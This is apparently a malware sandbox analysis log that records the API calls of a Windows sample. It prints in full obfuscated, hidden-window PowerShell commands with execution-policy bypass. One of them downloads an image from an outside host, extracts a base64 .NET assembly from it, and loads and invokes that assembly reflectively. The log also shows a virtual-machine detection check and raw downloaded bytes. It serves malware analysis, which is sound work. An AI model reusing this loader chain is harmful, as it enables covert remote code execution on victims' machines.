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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('PzXsYGN','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002f0	1	1
ShellExecuteExW Oct. 24, 2023, 9:38 a.m.	show_type: 0 filepath_r: powershell parameters: -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('PzXsYGN','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" filepath: powershell	1	1
CreateProcessInternalW Oct. 24, 2023, 9:38 a.m.	thread_identifier: 2772 thread_handle: 0x0000044c process_identifier: 2768 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lm9hbGloc2FtLzEyMS43Mi40MTIuNTkvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))" filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x00000450	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Oct. 24, 2023, 9:38 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (50 out of 312 events)

Data received	[
Data received	We7üvód DzA+¹çÝfx¢µåFDOWNGRD QâV2sÇé^/Û×^øzl¢êºÉ×ÔÀJI¸vE³äÀÿ
Data received	~
Data received	K
Data received	GAB§OUPÒÙV5¡>¢Hg^ø÷jÌ* åÿ5õèY}óëå?+Ó$bÚM¨¾¶_¼áµ,TuÙå°ïbC@g5[n¦Ms;ÃªÎ9Ôàl &<åR28¦jÕ`mí¼î!5Ìäöºtùf?^?ë¢LêíÑ¤XÀ2´³&%Ày R×3/aàôY,]-ù±lïÀ¢akÁþ0R6©ªöfkpôyG©îGS#g©´ÞæB2(`7ªmbÁ<¥g±ÜÄ0LN{nÿ÷È¥<èW`eøÐÖGÇ9°AS°ô1ÕlÊ¢.'»Ï®6BG³\|µ6Ðå¦núxy2-d%xy:¸Fy9d/GcQbOZ2Ôÿ¯óè¯×I]}&Kác
Data received
Data received
Data received
Data received
Data received	0
Data received	ðì±Ã³R!ëc;èoICÆlÅ$Ì+·JDÆÁ¬ãøc¿\ÂSS>
Data received	p
Data received	q;\|ÛYcâ¶L@@»ÓÅÆÝ¡:oRÐ²d«Õ>ùVæµO¡ôx©7OAí HL¼z¦Ö®4[(Ówtó¼Ô]9Hsá(»J]jèõÖö«BAÆÌÇ«!yØ«~2±[&ýG÷µ¬i¬3ÙVþ<èy'tË%ªJ}Å iÔåy¢µOîÒi®»âm9Û,ðÓ²ýÎyEàñäl±yxø¦?ä[û ÷b'æ0èRKðÕå(ÊixÉià Îer,èb5¦ÚBþ´yO¦Ê]ý;Z`:q³ ÓµÁig¹LesCjëM_ßtJÁ2 (´½Ä£bÁ`z6HA¡wý¨à»ñâåNÅ«þ%Ðä>ö/¬Kñ##í_uh3æ;áýê·RQõ`y4¡dÇ¸,9³\s%`ª±ÊV?1@Q;zÿ[¹ ¬éðú"so¤u BÉ¼Xêm£àìð^å'XÆ/±µÉ9lL[E`fz»C>ÔÎ¢èxqR××h0ÛÆDaòÚu-%_h!£ÎÎÊë7c`Ä"ú®I²y)'"ó"ÙÉ7raG½îëõà´DÈï,4_ýM¼è!iR[¾,¬oR'«¡<`~3SéO5aP¯Ãç(Õ,r5ZäÆªÅõoXÿ³\|yÐó43fE6Î-/ûÌhûïAñ)öx=7Qì7zdNï¢ºP»âÆsÓDö7½h7<¦ºp3ªëùèétúR¡,ç2#mÑÛ³e´Û\|HC#Ý'°ÁpU{]~¶ xËøÇ§zFòÇb-zã§Á×ÛâsÐÇsÙÿ«ÎwËGJéiVÖ$:Â\2ù(¦æ5îdîmêqõñë'.¡6EÁß=g¡Àúí±&öb`ÃþDn÷¯»²ýKÔ½~åT'$6²x'I'!þ0'd÷dN>äÙÎÔîÏ `E¶Ò¤²zÝWÜÒæ§zÂüçrDà-`ÿÿÖÜÙ³òËálILeb52"c?óIö[ÃUZqEwG§$b®_ª5p¶sâó>¸Ie4`USÔù£oîb!,ç-þ7óPÙìÉi»òÖéÆ Rêk?GBÈhßZyêqpÙ³RõÎô²ºSÔP®xèçÂÒ0n)nÁÅ^eÞOê&Ç>-ÀtÑ) d²ÊöçA@Þýã#Ý©Û&×Ò#×¨Pe5Ñ.ä³_]Ã^bäxel4ü+ÏÿÈJ¿ÓÄÅü1@r/ªùrþ[½NJLÈè.6Q=«Çå>1 .ìàð%dÛSÊ;2Àì(#ù ñ)¡H<ÉIa$uÊÔò«hyéÎbÒ¢Aüëkdò¡Nç#¾Jæw4É&º N ¾9ê âàL©së>§O~þÏtôÑQÉù=Ê@4~C¬e!Óa ºÈ)d"âRNêS(¥UÈïÃeö³SüáK´RÐ;[×ÿ$ ýÁæ¿õr¯zQ3§díJ¹\Ð§BqO¾A³ÂûíëËÒn¨,W>úðµ Ô93ÇÆÊaiº³#k¾3!ô¢Z À9h¥L´á
Data received	x)ä£ aËãRçÏC Ì8ª£«æk9ÂË,^® ,]BöÉlwb¶óÜï¿³´ÒÆApTÐ!ï?bÃTèYy) U8çH·ù48Th2m2ÎÉàw1lN@ìªeÞ?C.±¾ÐTÕç8Æ1°ÏÇ+ãm^PÞÚI\|ê'fAê¤ê§Ý3æú:¡{Ìç~&1ùî"9ïF÷þûqâ7U8ÐPxT§êu>è¢a)K 7M&¬Ön»G%"'y`õ´Ø\ü~=W±)&7fµZôèÕ?OÅ»½£HU42Ãh ÿû=$KÊxw-Æp³ÎVo¯j·D^qg=È¶WêtZOp6µNù1z4 [hÌ Ý7Òl ÌÕëææÎ±ÄÉ7!d¡Y½Eç&k¶Z`>£¾0·Æ·y7~ Î]Ç=mð>WZÊKSViY ÙÍ/§&u}¡IÅ;Ï©¿\[²´o!°ÔöÉVaëHºÍ¨ò6ÝúaØÒ'-Y.Y¾[÷Î©\10ØÎ.,ÅC ½Äo Öâùn¸ÿRèðfâh=Ï½ãBê×`GwÍÚÛêÞô¸Kw£±¼"h=z/Äã2¾t8vJºÆíÏ'ç©Äið´ÀØ&x~9híïÕ¯_ã Ï ¾z¿èÆþµF÷<x3FåÏùËâOCÁádö.Ub¢s´´Æy«â&uS:nYÈþDûWi¯~2OÿCÎ{~ÜÊ{µ°Hèâ]µÅ¤Næk«Èülñ½²Î ìF2<}Ü0£%÷KJ;kà»fúBD]0gç`J9'ÐçÚÐí\¿.UPrÚ¿Õ3°<´º`F!ï:kÅ³ ÆËºåt¡èY&§\|ÓÝ vÍ8ÈÇ¬»zo ]#G$.k ¯^µ_p _kB:$ö¸²le¡(k1m¤dÜÐ[«1§¹sìæ±%ÈP}Ðï¾óÈÕ)pfeëÛ°ì¹t¦è<2ØÇïdÉaÖ®6NÒ¨Ïÿiâöö®\|ôvnÉöÂqBô¤Yã]WLp²ÄkI£Ç/Â¤ÌY_û¨hø¤~ÄßBç+ëWmÕ´è_ Ç¥õGy²Õý×Á-XÕeÊ5>dìèò+õeãØ<=´%>-vnõÌrY~ñÁÃÄË6³£2ê"]Ç Eæò²º¾}zâ2Üg( ÛEó·<½¿öÏýõ1£ûzX)y^)6þñËí!X=h-Çó3,¾õ(mÂ¡5Cw¶3¶2-fÑo0G)fÖJEì>íÂeµ¿hÏJïxb;÷ï×©+åÓ5§{¼çêª!NÆ¦0lÅÜ/@¸,ÁÀ¹Ó\|éãÐ¢lÍ£¾ê¢ø5y[§d¨IÎuZ/¼¿\| ¹V.¢m-ª1¢Áø\¬&] Á¿B´ ?imí{èÂy©Ô±ÿà%VºûZ9LU1<Zú^ìn 9ò+ Æ6¦ÃÍG¸\|ÅLsÿ&ÙÕ¼`^YI£ °¦7Líqë«z~pÂÉBeòáj7c,¯PH0INkUè.z\|KU
